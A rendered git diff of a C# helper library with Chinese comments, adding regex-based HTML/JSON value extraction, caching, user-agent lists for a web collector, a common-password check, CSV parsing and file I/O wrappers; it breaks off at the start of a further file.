public static string GetIntTimeToString(ref string html, string reg, int addTime)
|
||||
{
|
||||
int time = GetIntJson(ref html, reg) + addTime;
|
||||
DateTime dt = BaseClass.StampToDateTime(time);
|
||||
return dt.ToString("yyyy-MM-dd HH:mm:ss");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static long GetLongJson(ref string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*['""]([^']+?)['""]");
|
||||
if (string.IsNullOrEmpty(temp))
|
||||
temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d]+)");
|
||||
long i;
|
||||
if (long.TryParse(temp, out i))
|
||||
return i;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetStringJson(ref string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, @"[""]" + reg + @"[""][\s]*:[\s]*[""]([^""]+?)[""]");
|
||||
if (temp == null)
|
||||
temp = GetMatchRegexString(html, @"[""]" + reg + @"[""][\s]*:[\s]*[""]([^""]*?)[""]");
|
||||
if (temp == null)
|
||||
temp = GetMatchRegexString(html, @"[']" + reg + @"['][\s]*:[\s]*[']([^']*?)[']");
|
||||
if (temp == null)
|
||||
temp = GetMatchRegexString(html, @"['""]" + reg + @"['""][\s]*:[\s]*([\d]+)");
|
||||
|
||||
return temp;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 获取值
|
||||
/// </summary>
|
||||
/// <param name="html"></param>
|
||||
/// <param name="reg"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetStringInput(ref string html, string reg)
|
||||
{
|
||||
string temp = GetMatchRegexString(html, @"<input [^>]*?name=['""]" + reg + @"[""'][^>]+?value=[""']([^>]+)[""'][^>]*>");
|
||||
if (string.IsNullOrEmpty(temp))
|
||||
temp = GetMatchRegexString(html, @"<input [^>]*?value=[""']([^>]+)[""'][^>]+?name=['""]" + reg + @"[""'][^>]*>");
|
||||
return temp;
|
||||
}
|
||||
|
||||
public static string FliterHtmlTag(string htmlStr)
|
||||
{
|
||||
if (String.IsNullOrEmpty(htmlStr))
|
||||
{
|
||||
return "";
|
||||
}
|
||||
|
||||
string regEx_style = "<style[^>]*?>[\\s\\S]*?<\\/style>"; //定义style的正则表达式
|
||||
string regEx_script = "<script[^>]*?>[\\s\\S]*?<\\/script>"; //定义script的正则表达式
|
||||
string regEx_html = "<[^>]+>"; //定义HTML标签的正则表达式
|
||||
htmlStr = Regex.Replace(htmlStr, regEx_style, "");//删除css
|
||||
htmlStr = Regex.Replace(htmlStr, regEx_script, "");//删除js
|
||||
htmlStr = Regex.Replace(htmlStr, regEx_html, "");//删除html标记
|
||||
htmlStr = Regex.Replace(htmlStr, "\\s*|\t|\r|\n", "");//去除tab、空格、空行
|
||||
htmlStr = htmlStr.Replace("\"", "");//去除异常的引号
|
||||
|
||||
return htmlStr.Trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class BaseSpecialConfig
|
||||
{
|
||||
public const string ToolClientId = "f4a3e3bb0253448d8272537726299621";
|
||||
public const string ToolName = "奶爸助理";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
/*
|
||||
* 基本处理
|
||||
* 肖俊
|
||||
* 2015-4-2
|
||||
*/
|
||||
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public static class BaseWork
|
||||
{
|
||||
/// <summary>
|
||||
/// 两个数组是否相同
|
||||
/// </summary>
|
||||
/// <param name="b1"></param>
|
||||
/// <param name="b2"></param>
|
||||
/// <returns></returns>
|
||||
public static bool IsSame(ref byte[] b1, ref byte[] b2)
|
||||
{
|
||||
if (b1.Length != b2.Length)
|
||||
return false;
|
||||
for (int i = 0; i < b1.Length; i++)
|
||||
if (b1[i] != b2[i])
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
/// <summary>
|
||||
/// 取得一个数组在另一个数组中的位置
|
||||
/// </summary>
|
||||
/// <param name="b1">主数组</param>
|
||||
/// <param name="b2">查找数组</param>
|
||||
/// <param name="start">起点</param>
|
||||
/// <returns></returns>
|
||||
public static int GetIndexFirst(ref byte[] b1, ref byte[] b2, int start)
|
||||
{
|
||||
if (b1.Length < b2.Length || start > b1.Length - 1)
|
||||
return -1;
|
||||
int j;
|
||||
for (int i = start; i < b1.Length - b2.Length+1; i++)
|
||||
{
|
||||
if (b1[i] != b2[0])
|
||||
continue;
|
||||
for (j = 1; j < b2.Length; j++)
|
||||
if (b1[i + j] != b2[j])
|
||||
break;
|
||||
if (j == b2.Length)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
/// <summary>
|
||||
/// 一个数组是否在另一个数组的结尾
|
||||
/// </summary>
|
||||
/// <param name="getByte">主数据</param>
|
||||
/// <param name="end">结尾数组</param>
|
||||
/// <returns></returns>
|
||||
public static bool IsEndByte(ref byte[] getByte, ref byte[] end)
|
||||
{
|
||||
if (end.Length > getByte.Length)
|
||||
return false;
|
||||
int i, c = getByte.Length - end.Length;
|
||||
for (i = 0; i < end.Length; i++)
|
||||
if (end[i] != getByte[c + i])
|
||||
break;
|
||||
if (i == end.Length)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 取得一个数组在另一个数组中的位置
|
||||
/// </summary>
|
||||
/// <param name="b1">主数组</param>
|
||||
/// <param name="b2">查找数组</param>
|
||||
/// <returns></returns>
|
||||
public static int GetIndexLast(ref byte[] b1, ref byte[] b2)
|
||||
{
|
||||
if (b1.Length < b2.Length)
|
||||
return -1;
|
||||
int j, end = b2.Length - 1;
|
||||
for (int i = b1.Length - 1; i >= end; i--)
|
||||
{
|
||||
if (b1[i] != b2[end])
|
||||
continue;
|
||||
for (j = 1; j < b2.Length; j++)
|
||||
if (b1[i - j] != b2[end - j])
|
||||
break;
|
||||
if (j == b2.Length)
|
||||
return i - end;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Web;
|
||||
using System.Web.Caching;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class CacheHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// 获取数据缓存
|
||||
/// </summary>
|
||||
/// <param name="cacheKey">键</param>
|
||||
public static object GetCache(string cacheKey)
|
||||
{
|
||||
var objCache = HttpRuntime.Cache.Get(cacheKey);
|
||||
return objCache;
|
||||
}
|
||||
/// <summary>
|
||||
/// 设置数据缓存
|
||||
/// </summary>
|
||||
public static void SetCache(string cacheKey, object objObject)
|
||||
{
|
||||
var objCache = HttpRuntime.Cache;
|
||||
objCache.Insert(cacheKey, objObject);
|
||||
}
|
||||
/// <summary>
|
||||
/// 设置数据缓存
|
||||
/// </summary>
|
||||
public static void SetCache(string cacheKey, object objObject, int timeout = 7200)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (objObject == null) return;
|
||||
var objCache = HttpRuntime.Cache;
|
||||
//相对过期
|
||||
//objCache.Insert(cacheKey, objObject, null, DateTime.MaxValue, timeout, CacheItemPriority.NotRemovable, null);
|
||||
//绝对过期时间
|
||||
objCache.Insert(cacheKey, objObject, null, DateTime.Now.AddSeconds(timeout), TimeSpan.Zero, CacheItemPriority.High, null);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
//throw;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 移除指定数据缓存
|
||||
/// </summary>
|
||||
public static void RemoveAllCache(string cacheKey)
|
||||
{
|
||||
var cache = HttpRuntime.Cache;
|
||||
cache.Remove(cacheKey);
|
||||
}
|
||||
/// <summary>
|
||||
/// 移除全部缓存
|
||||
/// </summary>
|
||||
public static void RemoveAllCache()
|
||||
{
|
||||
var cache = HttpRuntime.Cache;
|
||||
var cacheEnum = cache.GetEnumerator();
|
||||
while (cacheEnum.MoveNext())
|
||||
{
|
||||
cache.Remove(cacheEnum.Key.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
/*
|
||||
* 浏览器基础类
|
||||
* 2013-7-24
|
||||
* 肖俊
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public static class CollectBase
|
||||
{
|
||||
/// <summary>
|
||||
/// 初始化浏览器标识列表
|
||||
/// </summary>
|
||||
public static void Initialization()
|
||||
{
|
||||
try
|
||||
{
|
||||
WebCoockies.Coockies.Clear();
|
||||
WebCoockies.MobileCoockies.Clear();
|
||||
string[] u = UserAgent.Split('\n');
|
||||
foreach (string s in u)
|
||||
{
|
||||
if(string.IsNullOrEmpty(s))
|
||||
continue;
|
||||
WebBrowserCoockies w = new WebBrowserCoockies();
|
||||
w.UserAgent = s.Trim();
|
||||
WebCoockies.Coockies.Add(w);
|
||||
}
|
||||
u = MobileUserAgent.Split('\n');
|
||||
foreach (string s in u)
|
||||
{
|
||||
if (string.IsNullOrEmpty(s))
|
||||
continue;
|
||||
WebBrowserCoockies w = new WebBrowserCoockies();
|
||||
w.UserAgent = s.Trim();
|
||||
WebCoockies.MobileCoockies.Add(w);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 浏览器标识
|
||||
/// </summary>
|
||||
private static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko
|
||||
Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1
|
||||
Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36
|
||||
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400";
|
||||
/// <summary>
|
||||
/// 浏览器标识
|
||||
/// </summary>
|
||||
// private static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
//Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
//Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36
|
||||
//Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36
|
||||
//Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Win64;+x64;+Trident/5.0)
|
||||
//Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36
|
||||
//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36
|
||||
//Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko
|
||||
//Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
//Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+WOW64;+Trident/5.0)
|
||||
//Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36
|
||||
//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1
|
||||
//Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36
|
||||
//Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400";
|
||||
/// <summary>
|
||||
/// 手机端浏览器标识
|
||||
/// </summary>
|
||||
private static string MobileUserAgent = @"Mozilla/5.0+(Linux;+Android+5.0.2;+vivo+X5Pro+D+Build/LRX21M;+wv)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Version/4.0+Chrome/48.0.2564.116+Mobile+Safari/537.36+baidubrowser/7.10.12.0+(Baidu;+P1+5.0.2)
|
||||
Mozilla/5.0+(Linux;+Android+6.0;+vivo+1601+Build/MRA58K)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.132+Mobile+Safari/537.36
|
||||
Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_2_1+like+Mac+OS+X)+AppleWebKit/602.4.6+(KHTML,+like+Gecko)+Version/10.0+Mobile/14D27+Safari/602.1
|
||||
Mozilla/5.0+(Linux;+Android+5.0.1;+ALE-L02+Build/HuaweiALE-L02)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.132+Mobile+Safari/537.36
|
||||
Mozilla/5.0+(iPhone;+CPU+iPhone+OS+10_3+like+Mac+OS+X)+AppleWebKit/603.1.30+(KHTML,+like+Gecko)+Version/10.0+Mobile/14E277+Safari/602.1";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 浏览器cookies存放类
|
||||
/// </summary>
|
||||
public static class WebCoockies
|
||||
{
|
||||
/// <summary>
|
||||
/// Cookies列
|
||||
/// </summary>
|
||||
public static List<WebBrowserCoockies> Coockies = new List<WebBrowserCoockies>();
|
||||
/// <summary>
|
||||
/// Cookies列
|
||||
/// </summary>
|
||||
public static List<WebBrowserCoockies> MobileCoockies = new List<WebBrowserCoockies>();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 浏览器基础列
|
||||
/// </summary>
|
||||
public class WebBrowserCoockies
|
||||
{
|
||||
/// <summary>
|
||||
/// 列ID
|
||||
/// </summary>
|
||||
public int Id { get; set; }
|
||||
/// <summary>
|
||||
/// 浏览器标识
|
||||
/// </summary>
|
||||
public string UserAgent { get; set; }
|
||||
/// <summary>
|
||||
/// 来路
|
||||
/// </summary>
|
||||
public string Referer { get; set; }
|
||||
/// <summary>
|
||||
/// Cookies
|
||||
/// </summary>
|
||||
public List<CoockiesBase> Coockies = new List<CoockiesBase>();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 域名对应Coockies
|
||||
/// </summary>
|
||||
public class CoockiesBase
|
||||
{
|
||||
/// <summary>
|
||||
/// 域名
|
||||
/// </summary>
|
||||
public string Domain { get; set; }
|
||||
/// <summary>
|
||||
/// cookies
|
||||
/// </summary>
|
||||
public string Cookies { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// cookies值
|
||||
/// </summary>
|
||||
public class CoockiesValue
|
||||
{
|
||||
/// <summary>
|
||||
/// 名称
|
||||
/// </summary>
|
||||
public string Title { get; set; }
|
||||
/// <summary>
|
||||
/// 值
|
||||
/// </summary>
|
||||
public string Value { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class CommonPassword
|
||||
{
|
||||
private string CommonPasswordStr = "";
|
||||
private void Init()
|
||||
{
|
||||
try
|
||||
{
|
||||
string filePath = AppDomain.CurrentDomain.BaseDirectory + "temp/simplepwd.txt";
|
||||
CommonPasswordStr = FileBase.ReadAllText(filePath);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
public bool GetCommonPassword(string password)
|
||||
{
|
||||
if (string.IsNullOrEmpty(CommonPasswordStr))
|
||||
{
|
||||
Init();
|
||||
}
|
||||
List<string> PasswordList = CommonPasswordStr.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).Select(p => p.Trim()).ToList();
|
||||
bool isHas = PasswordList.Exists(p => p == password);
|
||||
return isHas;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public static class ConvertExtension
|
||||
{
|
||||
/// <summary>
|
||||
/// 删除特殊字符 by ttzhao 2020.6.20
|
||||
/// </summary>
|
||||
/// <param name="text"></param>
|
||||
/// <param name="characters"></param>
|
||||
/// <returns></returns>
|
||||
public static string RemoveSpecialChar(this string text, params string[] characters)
|
||||
{
|
||||
//{ ":", ":", "/", "\\", "\"", "?", "✅", "◆", "‼️" }
|
||||
string str = text;
|
||||
List<string> specialCharacters = new List<string>(characters);
|
||||
specialCharacters.ForEach(c =>
|
||||
{
|
||||
if (c.Length > 0)
|
||||
str = str.Replace(c, "");
|
||||
});
|
||||
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class EnumHelper
|
||||
{
|
||||
public static List<EnumMember> GetEnumMember(Type type)
|
||||
{
|
||||
List<EnumMember> list = new List<EnumMember>();
|
||||
foreach (var d in Enum.GetValues(type))
|
||||
{
|
||||
string desc = (d.GetType().GetField(d.ToString()).GetCustomAttribute(typeof(EnumDescriptionAttribute)) as EnumDescriptionAttribute).Description;
|
||||
list.Add(new EnumMember(d.ToString(), (int)d, desc));
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
}
|
||||
public class EnumMember
|
||||
{
|
||||
public string Name;
|
||||
public int Value;
|
||||
public string Description;
|
||||
public EnumMember(string name, int value, string description)
|
||||
{
|
||||
this.Name = name;
|
||||
this.Value = value;
|
||||
this.Description = description;
|
||||
}
|
||||
public override string ToString()
|
||||
{
|
||||
return this.Description;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 枚举注释的自定义属性类
|
||||
/// </summary>
|
||||
public class EnumDescriptionAttribute : Attribute
|
||||
{
|
||||
private string m_strDescription;
|
||||
public EnumDescriptionAttribute(string strPrinterName)
|
||||
{
|
||||
m_strDescription = strPrinterName;
|
||||
}
|
||||
public string Description
|
||||
{
|
||||
get { return m_strDescription; }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
using Newtonsoft.Json.Linq;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Extension
|
||||
{
|
||||
public static class JTokenExtension
|
||||
{
|
||||
public static T ToValue<T>(this JToken token, T defValue = default(T))
|
||||
{
|
||||
string tempvalue = token.ToString();
|
||||
if (string.IsNullOrEmpty(tempvalue))
|
||||
return defValue;
|
||||
|
||||
Type type = typeof(T);
|
||||
var typeName = type.Name.ToLower();
|
||||
try
|
||||
{
|
||||
if (typeName == "string")
|
||||
return (T)(object)tempvalue;
|
||||
if (tempvalue is IConvertible)
|
||||
return (T)System.Convert.ChangeType(tempvalue, type);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return default(T);
|
||||
}
|
||||
|
||||
return defValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase.Extension
|
||||
{
|
||||
public static class LinqExtension
|
||||
{
|
||||
public static IEnumerable<TSource> DistinctBy<TSource, TKey>(this IEnumerable<TSource> source, Func<TSource, TKey> keySelector)
|
||||
{
|
||||
HashSet<TKey> seenKeys = new HashSet<TKey>();
|
||||
foreach (TSource element in source)
|
||||
{
|
||||
if (seenKeys.Add(keySelector(element)))
|
||||
{
|
||||
yield return element;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,273 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public static class FileBase
|
||||
{
|
||||
/// <summary>
|
||||
/// 文件是否存在
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <returns></returns>
|
||||
public static bool Exists(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
return File.Exists(path);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 读取文件
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <returns></returns>
|
||||
public static string ReadAllText(string path)
|
||||
{
|
||||
return ReadAllText(path, Encoding.Default);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 读取文件
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <param name="encoding"></param>
|
||||
/// <returns></returns>
|
||||
public static string ReadAllText(string path, Encoding encoding)
|
||||
{
|
||||
try
|
||||
{
|
||||
return File.ReadAllText(path, encoding);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 读取文件
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <returns></returns>
|
||||
public static string[] ReadAllLines(string path, Encoding encoding)
|
||||
{
|
||||
try
|
||||
{
|
||||
return File.ReadAllLines(path, encoding);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 读取文件
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <returns></returns>
|
||||
public static string[] ReadAllLines(string path)
|
||||
{
|
||||
return ReadAllLines(path, Encoding.Default);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 写入文件
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <param name="content"></param>
|
||||
/// <param name="encoding"></param>
|
||||
/// <returns></returns>
|
||||
public static bool WriteAllText(string path, string content, Encoding encoding)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.WriteAllText(path, content, encoding);
|
||||
return true;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] ReadBytes(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
return File.ReadAllBytes(path);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static bool WriteAllText(string path, string content)
|
||||
{
|
||||
return WriteAllText(path, content, Encoding.Default);
|
||||
}
|
||||
public static bool WriteBytes(string path, byte[] content)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.WriteAllBytes(path, content);
|
||||
return true;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 写入文件
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <param name="content"></param>
|
||||
/// <param name="encoding"></param>
|
||||
/// <returns></returns>
|
||||
public static bool AppendAllText(string path, string content, Encoding encoding)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.AppendAllText(path, content, encoding);
|
||||
return true;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool AppendAllText(string path, string content)
|
||||
{
|
||||
return AppendAllText(path, content, Encoding.Default);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 删除文件
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <returns></returns>
|
||||
public static bool Delete(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(path);
|
||||
return true;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 创建目录
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <returns></returns>
|
||||
public static bool DirectoryCreate(string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
Directory.CreateDirectory(path);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool Move(string oldFile, string newFile)
|
||||
{
|
||||
try
|
||||
{
|
||||
Delete(newFile);
|
||||
File.Move(oldFile, newFile);
|
||||
return true;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 将CSV文件的一行转换为列表,进行逗号分隔(字段内容中的逗号不参与分隔)
|
||||
/// </summary>
|
||||
/// <param name="strLine"></param>
|
||||
/// <returns></returns>
|
||||
public static List<string> CsvStrToList(string csvLine)
|
||||
{
|
||||
var newStr = string.Empty;
|
||||
List<string> sList = new List<string>();
|
||||
|
||||
bool isSplice = false;
|
||||
string[] array = csvLine.Split(new char[] { ',' });
|
||||
foreach (var str in array)
|
||||
{
|
||||
var strTemp = str.Trim();
|
||||
if (!string.IsNullOrEmpty(strTemp) && strTemp.IndexOf('"') > -1)
|
||||
{
|
||||
if (strTemp.StartsWith("\"") && !strTemp.StartsWith("\"\"") && !strTemp.EndsWith("\""))
|
||||
{
|
||||
isSplice = true;
|
||||
}
|
||||
if (strTemp.EndsWith("\"") && !strTemp.EndsWith("\"\""))
|
||||
{
|
||||
if (!isSplice)
|
||||
newStr += strTemp;
|
||||
else
|
||||
newStr = newStr + "," + strTemp;
|
||||
|
||||
isSplice = false;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (string.IsNullOrEmpty(newStr))
|
||||
newStr += strTemp;
|
||||
}
|
||||
|
||||
if (isSplice)
|
||||
{
|
||||
//添加因拆分时丢失的逗号
|
||||
if (string.IsNullOrEmpty(newStr))
|
||||
newStr += strTemp;
|
||||
else
|
||||
newStr = newStr + "," + strTemp;
|
||||
}
|
||||
else
|
||||
{
|
||||
sList.Add(newStr.Replace("\"\"", "#@%*^^*%@#").Replace("\"", "").Trim(' ', '\t').Replace("#@%*^^*%@#", "\"")); // 去除字符中的双引号和首尾空格
|
||||
newStr = string.Empty;
|
||||
}
|
||||
}
|
||||
return sList;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
+1932
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,216 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
